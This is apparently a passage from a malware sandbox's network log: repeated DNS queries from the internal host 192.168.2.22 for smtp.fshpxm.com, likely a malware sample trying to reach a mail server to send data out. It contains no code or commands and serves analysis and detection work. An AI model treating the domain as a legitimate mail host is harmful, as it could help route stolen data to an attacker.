Apr 18, 2024 10:24:10.151242971 CEST	192.168.2.22	8.8.8.8	0x5051	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.193487883 CEST	192.168.2.22	8.8.8.8	0xe35a	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.256594896 CEST	192.168.2.22	8.8.8.8	0x5051	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.299745083 CEST	192.168.2.22	8.8.8.8	0xe35a	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.362513065 CEST	192.168.2.22	8.8.8.8	0x5051	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.408123016 CEST	192.168.2.22	8.8.8.8	0xe35a	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.469623089 CEST	192.168.2.22	8.8.8.8	0x5051	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.537807941 CEST	192.168.2.22	8.8.8.8	0xe35a	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:11.118777037 CEST	192.168.2.22	8.8.8.8	0x3569	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:11.223653078 CEST	192.168.2.22	8.8.8.8	0x3569	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:11.328952074 CEST	192.168.2.22	8.8.8.8	0x3569	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:11.434425116 CEST	192.168.2.22	8.8.8.8	0x3569	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:11.735070944 CEST	192.168.2.22	8.8.8.8	0xe23a	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:11.839986086 CEST	192.168.2.22	8.8.8.8	0xe23a	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:12.889708042 CEST	192.168.2.22	8.8.8.8	0xb656	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:13.000824928 CEST	192.168.2.22	8.8.8.8	0xb656	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:13.106060028 CEST	192.168.2.22	8.8.8.8	0xb656	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:13.213027000 CEST	192.168.2.22	8.8.8.8	0xb656	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:13.328210115 CEST	192.168.2.22	8.8.8.8	0x428f	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:13.433931112 CEST	192.168.2.22	8.8.8.8	0x428f	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.186202049 CEST	192.168.2.22	8.8.8.8	0x47b9	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.292258024 CEST	192.168.2.22	8.8.8.8	0x47b9	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.398127079 CEST	192.168.2.22	8.8.8.8	0x47b9	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.508918047 CEST	192.168.2.22	8.8.8.8	0x3ef7	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.614180088 CEST	192.168.2.22	8.8.8.8	0x3ef7	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.719212055 CEST	192.168.2.22	8.8.8.8	0x3ef7	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.824076891 CEST	192.168.2.22	8.8.8.8	0x3ef7	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:33.929028034 CEST	192.168.2.22	8.8.8.8	0x3ef7	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:36.190516949 CEST	192.168.2.22	8.8.8.8	0x5803	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:36.296114922 CEST	192.168.2.22	8.8.8.8	0x5803	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:36.416476965 CEST	192.168.2.22	8.8.8.8	0x53df	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:40.270355940 CEST	192.168.2.22	8.8.8.8	0x9f09	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:40.375076056 CEST	192.168.2.22	8.8.8.8	0x9f09	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:40.480314016 CEST	192.168.2.22	8.8.8.8	0x9f09	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:40.585977077 CEST	192.168.2.22	8.8.8.8	0x9f09	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:40.690572023 CEST	192.168.2.22	8.8.8.8	0x9f09	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.091598034 CEST	192.168.2.22	8.8.8.8	0xe539	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.196609020 CEST	192.168.2.22	8.8.8.8	0xe539	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.304195881 CEST	192.168.2.22	8.8.8.8	0xe539	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.415754080 CEST	192.168.2.22	8.8.8.8	0xaa71	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.520919085 CEST	192.168.2.22	8.8.8.8	0xaa71	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.626255989 CEST	192.168.2.22	8.8.8.8	0xaa71	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.731726885 CEST	192.168.2.22	8.8.8.8	0xaa71	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:43.836632013 CEST	192.168.2.22	8.8.8.8	0xaa71	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:45.251007080 CEST	192.168.2.22	8.8.8.8	0xcba8	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:45.356280088 CEST	192.168.2.22	8.8.8.8	0xcba8	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:45.461335897 CEST	192.168.2.22	8.8.8.8	0xcba8	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:45.566353083 CEST	192.168.2.22	8.8.8.8	0xcba8	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:45.671411991 CEST	192.168.2.22	8.8.8.8	0xcba8	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.068439007 CEST	192.168.2.22	8.8.8.8	0xb268	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.088229895 CEST	192.168.2.22	8.8.8.8	0x9cf6	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.173419952 CEST	192.168.2.22	8.8.8.8	0xb268	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.193481922 CEST	192.168.2.22	8.8.8.8	0x9cf6	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.284744024 CEST	192.168.2.22	8.8.8.8	0xce28	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.300290108 CEST	192.168.2.22	8.8.8.8	0x46b6	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.390090942 CEST	192.168.2.22	8.8.8.8	0xce28	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.405225039 CEST	192.168.2.22	8.8.8.8	0x46b6	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.495392084 CEST	192.168.2.22	8.8.8.8	0xce28	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.509839058 CEST	192.168.2.22	8.8.8.8	0x46b6	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.600399971 CEST	192.168.2.22	8.8.8.8	0xce28	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.614787102 CEST	192.168.2.22	8.8.8.8	0x46b6	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.705403090 CEST	192.168.2.22	8.8.8.8	0xce28	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:48.719336033 CEST	192.168.2.22	8.8.8.8	0x46b6	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:55.998702049 CEST	192.168.2.22	8.8.8.8	0x56a1	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:56.104008913 CEST	192.168.2.22	8.8.8.8	0x56a1	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:56.209227085 CEST	192.168.2.22	8.8.8.8	0x56a1	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:56.316143990 CEST	192.168.2.22	8.8.8.8	0x56a1	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:56.421596050 CEST	192.168.2.22	8.8.8.8	0x56a1	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:58.818582058 CEST	192.168.2.22	8.8.8.8	0xfa89	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:58.924282074 CEST	192.168.2.22	8.8.8.8	0xfa89	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:59.029728889 CEST	192.168.2.22	8.8.8.8	0xfa89	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:04.520359993 CEST	192.168.2.22	8.8.8.8	0xfa89	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:05.510601044 CEST	192.168.2.22	8.8.8.8	0x46b0	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:05.615855932 CEST	192.168.2.22	8.8.8.8	0x46b0	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:05.721180916 CEST	192.168.2.22	8.8.8.8	0x46b0	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:05.826286077 CEST	192.168.2.22	8.8.8.8	0x46b0	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:05.931731939 CEST	192.168.2.22	8.8.8.8	0x46b0	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:07.478336096 CEST	192.168.2.22	8.8.8.8	0x6167	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:07.584295034 CEST	192.168.2.22	8.8.8.8	0x6167	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:07.689439058 CEST	192.168.2.22	8.8.8.8	0x6167	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:07.794723988 CEST	192.168.2.22	8.8.8.8	0x6167	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:07.899849892 CEST	192.168.2.22	8.8.8.8	0x6167	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:08.530057907 CEST	192.168.2.22	8.8.8.8	0x379d	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:08.635113001 CEST	192.168.2.22	8.8.8.8	0x379d	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:08.740108967 CEST	192.168.2.22	8.8.8.8	0x379d	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:08.845124960 CEST	192.168.2.22	8.8.8.8	0x379d	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:08.950258017 CEST	192.168.2.22	8.8.8.8	0x379d	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:09.996020079 CEST	192.168.2.22	8.8.8.8	0x20b1	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.101686954 CEST	192.168.2.22	8.8.8.8	0x20b1	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.206945896 CEST	192.168.2.22	8.8.8.8	0x20b1	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.302309036 CEST	192.168.2.22	8.8.8.8	0x43d1	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.311800957 CEST	192.168.2.22	8.8.8.8	0x20b1	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.407263041 CEST	192.168.2.22	8.8.8.8	0x43d1	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.416843891 CEST	192.168.2.22	8.8.8.8	0x20b1	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.520540953 CEST	192.168.2.22	8.8.8.8	0x43d1	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.625507116 CEST	192.168.2.22	8.8.8.8	0x43d1	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.731338978 CEST	192.168.2.22	8.8.8.8	0x43d1	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:11.343674898 CEST	192.168.2.22	8.8.8.8	0xecae	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:11.452363968 CEST	192.168.2.22	8.8.8.8	0xecae	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:11.560230970 CEST	192.168.2.22	8.8.8.8	0xecae	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:11.665415049 CEST	192.168.2.22	8.8.8.8	0xecae	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:11.770601988 CEST	192.168.2.22	8.8.8.8	0xecae	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:12.826034069 CEST	192.168.2.22	8.8.8.8	0xe2a	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:12.931303978 CEST	192.168.2.22	8.8.8.8	0xe2a	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.036676884 CEST	192.168.2.22	8.8.8.8	0xe2a	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.122720003 CEST	192.168.2.22	8.8.8.8	0x1c21	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.142091036 CEST	192.168.2.22	8.8.8.8	0xe2a	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.227844000 CEST	192.168.2.22	8.8.8.8	0x1c21	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.247616053 CEST	192.168.2.22	8.8.8.8	0xe2a	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.333240032 CEST	192.168.2.22	8.8.8.8	0x1c21	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.438505888 CEST	192.168.2.22	8.8.8.8	0x1c21	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.543540001 CEST	192.168.2.22	8.8.8.8	0x1c21	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:14.176754951 CEST	192.168.2.22	8.8.8.8	0x3e97	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:14.281838894 CEST	192.168.2.22	8.8.8.8	0x3e97	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:14.386848927 CEST	192.168.2.22	8.8.8.8	0x3e97	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:14.491825104 CEST	192.168.2.22	8.8.8.8	0x3e97	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:14.596518993 CEST	192.168.2.22	8.8.8.8	0x3e97	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:15.652080059 CEST	192.168.2.22	8.8.8.8	0x3b5b	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:15.758512020 CEST	192.168.2.22	8.8.8.8	0x3b5b	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:15.863524914 CEST	192.168.2.22	8.8.8.8	0x3b5b	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:15.948753119 CEST	192.168.2.22	8.8.8.8	0x128e	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:15.968429089 CEST	192.168.2.22	8.8.8.8	0x3b5b	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:16.054028988 CEST	192.168.2.22	8.8.8.8	0x128e	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:16.073586941 CEST	192.168.2.22	8.8.8.8	0x3b5b	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:16.158782959 CEST	192.168.2.22	8.8.8.8	0x128e	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:16.263794899 CEST	192.168.2.22	8.8.8.8	0x128e	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:16.368724108 CEST	192.168.2.22	8.8.8.8	0x128e	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:16.994009018 CEST	192.168.2.22	8.8.8.8	0xfd45	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:17.098876953 CEST	192.168.2.22	8.8.8.8	0xfd45	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:17.203530073 CEST	192.168.2.22	8.8.8.8	0xfd45	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:17.308537006 CEST	192.168.2.22	8.8.8.8	0xfd45	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:17.414278030 CEST	192.168.2.22	8.8.8.8	0xfd45	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.474601984 CEST	192.168.2.22	8.8.8.8	0xbe92	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.579118967 CEST	192.168.2.22	8.8.8.8	0xbe92	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.684026003 CEST	192.168.2.22	8.8.8.8	0xbe92	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.771708965 CEST	192.168.2.22	8.8.8.8	0x82b5	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.789347887 CEST	192.168.2.22	8.8.8.8	0xbe92	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.877000093 CEST	192.168.2.22	8.8.8.8	0x82b5	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.894135952 CEST	192.168.2.22	8.8.8.8	0xbe92	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.982201099 CEST	192.168.2.22	8.8.8.8	0x82b5	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:19.086786985 CEST	192.168.2.22	8.8.8.8	0x82b5	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:19.191781044 CEST	192.168.2.22	8.8.8.8	0x82b5	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:19.848297119 CEST	192.168.2.22	8.8.8.8	0x152e	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:19.955879927 CEST	192.168.2.22	8.8.8.8	0x152e	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:20.072670937 CEST	192.168.2.22	8.8.8.8	0x152e	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:20.177155018 CEST	192.168.2.22	8.8.8.8	0x152e	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:20.281771898 CEST	192.168.2.22	8.8.8.8	0x152e	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.298233032 CEST	192.168.2.22	8.8.8.8	0xae52	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.403717041 CEST	192.168.2.22	8.8.8.8	0xae52	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.509084940 CEST	192.168.2.22	8.8.8.8	0xae52	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.593378067 CEST	192.168.2.22	8.8.8.8	0xa706	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.621275902 CEST	192.168.2.22	8.8.8.8	0x60b5	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.698740959 CEST	192.168.2.22	8.8.8.8	0xa706	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.735538960 CEST	192.168.2.22	8.8.8.8	0x60b5	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.803832054 CEST	192.168.2.22	8.8.8.8	0xa706	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.848181009 CEST	192.168.2.22	8.8.8.8	0x60b5	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.909229994 CEST	192.168.2.22	8.8.8.8	0xa706	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.953242064 CEST	192.168.2.22	8.8.8.8	0x60b5	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:22.014059067 CEST	192.168.2.22	8.8.8.8	0xa706	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:22.058383942 CEST	192.168.2.22	8.8.8.8	0x60b5	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:22.688958883 CEST	192.168.2.22	8.8.8.8	0xb7a1	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:22.793675900 CEST	192.168.2.22	8.8.8.8	0xb7a1	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:22.902527094 CEST	192.168.2.22	8.8.8.8	0xb7a1	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:23.008178949 CEST	192.168.2.22	8.8.8.8	0xb7a1	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:23.113344908 CEST	192.168.2.22	8.8.8.8	0xb7a1	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:24.419750929 CEST	192.168.2.22	8.8.8.8	0xf35a	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:24.526748896 CEST	192.168.2.22	8.8.8.8	0xf35a	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:24.632158995 CEST	192.168.2.22	8.8.8.8	0xf35a	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:24.737422943 CEST	192.168.2.22	8.8.8.8	0xf35a	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:24.844057083 CEST	192.168.2.22	8.8.8.8	0xf35a	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:25.561140060 CEST	192.168.2.22	8.8.8.8	0xc557	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:25.666066885 CEST	192.168.2.22	8.8.8.8	0xc557	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:25.772541046 CEST	192.168.2.22	8.8.8.8	0xc557	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:25.877403975 CEST	192.168.2.22	8.8.8.8	0xc557	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:25.982223034 CEST	192.168.2.22	8.8.8.8	0xc557	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.240612030 CEST	192.168.2.22	8.8.8.8	0x4a0e	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.345319033 CEST	192.168.2.22	8.8.8.8	0x4a0e	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.449717045 CEST	192.168.2.22	8.8.8.8	0x4a0e	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.554932117 CEST	192.168.2.22	8.8.8.8	0x4a0e	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
